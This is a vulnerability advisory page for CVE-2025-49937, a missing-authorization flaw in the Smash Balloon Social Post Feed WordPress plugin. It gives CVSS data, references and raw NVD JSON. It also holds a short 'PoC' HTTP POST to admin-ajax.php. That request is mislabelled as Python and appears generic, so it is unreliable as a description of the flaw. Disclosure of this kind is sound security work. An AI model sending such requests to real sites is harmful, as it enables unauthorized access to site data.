CVE-2025-49937

Description

Missing Authorization vulnerability in Syed Balkhi Smash Balloon Social Post Feed custom-facebook-feed allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Smash Balloon Social Post Feed: from n/a through <= 4.3.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Smash Balloon Social Post Feed <= 4.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=sfb_get_posts&nonce=xxxx

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49937/
[4] VulDB https://vuldb.com/cve/CVE-2025-49937
[5] https://patchstack.com/database/Wordpress/Plugin/custom-facebook-feed/vulnerability/wordpress-smash-balloon-social-post-feed-plugin-4-3-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49937", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.023", "lastModified": "2026-04-27T20:16:18.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Syed Balkhi Smash Balloon Social Post Feed custom-facebook-feed allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Smash Balloon Social Post Feed: from n/a through <= 4.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-facebook-feed/vulnerability/wordpress-smash-balloon-social-post-feed-plugin-4-3-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}